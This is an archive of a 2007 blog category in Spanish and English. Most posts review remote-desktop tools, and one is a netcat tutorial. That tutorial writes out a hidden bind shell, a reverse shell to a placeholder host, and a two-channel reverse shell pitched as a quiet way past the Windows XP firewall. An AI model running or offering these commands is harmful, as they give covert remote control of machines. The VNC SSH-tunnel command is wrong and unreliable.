Archive for the ‘shell remota’ Category

Remote desktop en linux

October 12, 2007

1) VNC (Virtual Network Computing) is a remote display system which allows the user to view the desktop of a remote machine anywhere on the internet. It can also be directed through SSH for security.

Basically you install VNC server on the server and install client on your local PC. Setup is extremely easy and server is very stable. On client side, you can set the resolution and connect to IP of VNC server. It can be a bit slow compared to Windows remote desktop and also has the tendency to take more time refreshing over low-bandwidth links. All in all VNC is an amazing piece of free software that gets the job done.

There is RealVNC , TightVNC and UltraVNC. Each has it’s advantages and disadvantages. Most popular one is RealVNC but if you’re upto it, experiment with all three and choose the one that works for you best. By default, communication between client and server is in clear text on port 5900. However, you can easily route all traffic via SSH tunnel. Here is a quick way of setting it up if you have access to command line shell:

ssh -ND 5900 @remote.server.com

When you get prompted, enter your password. Pop open VNC client and connect to ‘localhost’. This’ll route your connection to VNC server on remote machine.

You can download VNC from:

  1. http://www.realvnc.com/download.html
  2. http://www.tightvnc.com/download.html
  3. http://www.uvnc.com/

2) Then there is FreeNX. FreeNX is a system that allows you to access your desktop from another machine over the internet. You can use this to login graphically to your desktop from a remote location. One example of its use would be to have a FreeNX server set up on your home computer, and graphically logging in to the home computer from your work computer, using a FreeNX client. It provides near local speed application responsiveness over high latency, low bandwidth links.

FreeNX can be configured to run via SSH without any tunneling. It binds to your existing SSH install. Instead of guiding you through the installation of FreeNX in this article, you can visit the following URLs that’ll guide you through the installation on Ubuntu:

  1. https://help.ubuntu.com/community/FreeNX
  2. http://ubuntuforums.org/showthread.php?t=97277&highlight=freenx
  3. http://freenx.berlios.de/ (FreeNX homepage)

3) The third free application is 2X Terminal Server for Linux. 2X TerminalServer for Linux is an Open Source project, licensed under the GPL and is free of charge. As far as performance goes, NoMachine’s technology is on par with Windows’ own Remote Desktop Protocol (RDP) suite, better than VNC. Both X2 and FreeNX is based on NoMachine technology.

Here are some quick links if you’re interested in using this software:

  1. Download at http://www.2x.com/terminalserver/download.htm
  2. Forum is at http://www.2x.com/forums

4) The last but not least at all is XDMCP. The X Display Manager Control Protocol uses UDP port 177. Compared to the list above, it’s not as easy to setup for remote desktop but it’s the original way of doing this on Linux. You can get setup instructions and other tips in the following URL:

  1. http://www.tldp.org/HOWTO/XDMCP-HOWTO/intro.html

Nomachine.

http://kikevilchez.blogspot.com/2006/11/nx-nomachine-un-terminal-server-para.html

http://www.nomachine.com/

X TodoLinuxero nos cuenta: “NX es un producto de NoMachine que permite distribuir aplicaciones centralizadas a thin clients. Pero al contrario que VNC, en lugar de usar el protocolo RFB (Remote Frame Buffer) NX usa un nuevo esquema de compresión del entorno X-Window, que permite (afirman) controlar un escritorio remoto con una conexión dial-up de 9600 baudios (!). El tráfico de X es comprimido y transmitido por SSL usando una conexión SSH que puede ser resumida automáticamente en caso de ser interrumpida..

NoMachine es una compañía que ofrece productos para control remoto. En su confianza nos da gratis su versión tanto para clientes y servidores. También ofrece otros productos para permitir acceso a equipos remotos desde la web, así las compañías pueden ofrecer a sus cliente su aplicaciones para que las prueben. Sus niveles de seguridad y de velocidad, mejoran con creces a los actuales Terminal Server o VNC.

Es un aplicación digna de probar, con todas sus herramientas externas como Nx Builde, NX Web Companion o el Nx Server Manager.

Algunos escritorios remotos utiles

October 4, 2007

Tight VNC:

TightVNC is a free remote control software package derived from the popular VNC software. With TightVNC, you can see the desktop of a remote machine and control it with your local mouse and keyboard, just like you would do it sitting in the front of that computer. TightVNC is:

  • free, GPL-licensed, with full source code available;
  • useful in remote administration, remote customer support, education, and for many other purposes;
  • cross-platform, available for Windows and Unix, compatible with other VNC software

UltraVNC is a powerful, easy to use and free software that can display the screen of another computer (via internet or network) on your own screen. The program allows you to use your mouse and keyboard to control the other PC remotely. It means that you can work on a remote computer, as if you were sitting in front of it, right from your current location.

Logmein is other remote control software, is based in java. The remote control is free, you´ll have 120 min of transference file free only for promotion, this transference is quickl and easy.

TeamViewer is other option, include remote desktop control and file transfer, can throught proxy

http://www.uvnc.com/index.html

http://www.tightvnc.com/

http://www.logmein.com/

http://www.teamviewer.com/

Como obtener shell remota con netcat

October 3, 2007

El netcat, es un programa que funciona en cualquier plataforma (hay versiones para todos los sistemas operativos), sin entorno gráfico, y sirve para realizar conecciones de casi cualquier tipo en tcp y udp.

Existe una version en win32 que corre en una ventana tipo MSDOS, para ayuda con el mismo teclea: > nc -h

· client
Podemos usar el nc para conectarnos a una maquina por cualquier puerto siempre que éste este abierto.
La sintaxis básica es:
nc {opciones} [ip/hostname] [puerto]
Las opciones, como su nombre lo indica, son opcionales, por lo que si yo tipeara en mi linea de comandos:
nc 201.234.131.38 23
Se conectaría a 201.234.131.38 (fiar argentina) por el puerto 23 (telnet).
Es muy recomendable usar siempre la opción -vv para que el nc nos de información sobre el estado de la conección. Las opciones siempre van antes de la direccion ip o el hostname y el puerto (en ese orden), por lo que la nueva sintaxis nos kedaría:
nc -vv {opciones} [ip/hostname] [puerto]
Las opciones que se pueden combinar con este uso son:
-d (detach from console) modo oculto, en segundo plano, la conección sigue aunke c cierre el ms-dos
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres q el nc use dns para averiguar el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal
-p (local port number) elegís el puerto local para la conección
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada
-u (udp mode) realiza conecciones en puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· server
Podemos usar el nc para poner un puerto a la escucha y recibir conecciones entrantes.
La sintaxis básica es:
nc -l -p {opciones} [puerto]
Donde [puerto] es el número de puerto que se kiere poner a la escucha.
La opción -l puede usarse en mayúscula -L si se desea que luego de finalizada la conección, el nc siga escuchando en el mismo puerto con las mismas opciones. De otra forma, al finalizar la coneccion, el nc se cerraría
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-e (inbound program to exec) ejecuta un programa al conectarse un cliente.
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal.
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· port scan
Podemos usar el nc para comprobar que puertos tiene abiertos una máquina.
La sintaxis básica sería:
nc -z {opciones} [ip/hostname] [puerto/s]
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres q el nc resuelva el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo en hexadecimal.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.
Los puertos pueden especificarse individualmente, x rangos (inclusivos) o ambos en cualquier orden.

Shell remota:

· shell directa
Mediante este comando en un windows posterior a winme
nc -l -p 2236 -e cmd.exe -d
A cualquiera que se conectase por el puerto 2236 mediante nc o telnet, le aparecería una shell equivalente al cmd.exe de la maquina en la que se ejecutó el comando. Lo mismo ocurriría en un windows anterior a winme reemplazando cmd.exe por command.com en el comando anterior.

· shell inversa
Esta técnica es una variación de la primera, con la diferencia que en esta la máquina que proporciona la shell se conecta a la otra pudiendo de ésta forma saltar algunos routers y firewalls. Ideal para maquinas dentro de una red.
Se ejecuta el siguiente comando en una maquina para ponerla a la escucha de conexiones por el puerto 2236:
nc -vv -L -p 2236
Luego, se ejecuta el siguiente comando en la maquina que va a proporcionar la shell para que se conecte a la primera:
nc -d -e [cmd.exe/command.com] [ip/hostname primera maq] 2236

· shell inversa distribuida
Está técnica es la más silenciosa y efectiva de todas, en ésta se realizan dos conexiones inversas (una para enviar información y otra para recibirla) usando los puertos 25 y 80 que el firewall del win xp sp2 no filtra por tenerlos habilitados por default para el envío (25 smpt) y recibo (80 http) de información.
Para esto abrimos dos ventanas en la maquina que recibirá la shell en las que ponemos:
nc -vv -l -p 80
y
nc -vv -l -p 25
Respectivamente, de manera que escuche conexiones por los puertos 80 y 25. Luego, en la máquina q proporcionará la shell ponemos:
nc [ip/hostname maq escucha] 80 | cmd.exe | nc [ip/hostname maq escucha] 25
Una vez realizada la conexión, se envían los comandos desde la ventana que escucha por el puerto 80 y se reciben los resultados en la ventana que escucha por el puerto 25.

· chat peer to peer
Se puede crear un simple chat mediante nc entre dos personas escribiendo una de ellas (server) éste comando:
nc -l -p 1337
y la otra (client) éste otro:
nc [ip/hostname de la maq dnd c ejecuto el comando anterior] 1337
La primera persona abriría el puerto 1337 para recibir conecciónes y la segunda se conectaría a su maquina por el puerto que la primera persona abrió por lo que realizarían una conección directa puerto a puerto.
Luego, lo que una de las personas escribiese en su nc aparecería en el nc del otro y viceversa.

Como transferir archivos y escritorio remoto entre maquinas separadas por proxy

October 2, 2007

Para transferir archivos y tener escritorio remoto entre maquinas separadas por proxy (claro porque en caso contrario no habria mayores problemas) hay varias maneras de lograrlo, las ire comentando en la medida que tenga tiempo para ello, hoy les comento una sencilla y que ademas tiene una buena parte free: teamviewer, la parte de escritorio remoto me gusta aunque es un poco remolon a veces, me gusta mas la parte de poder transferir archivos haciendo bypass de proxy´s y otras sutilezas de ese estilo. Para el escritorio remoto me gusta la interfaz java de logmein, ademas tiene 120 min free de descargas y control de archivos entre maquinas asociadas.


Follow

Get every new post delivered to your Inbox.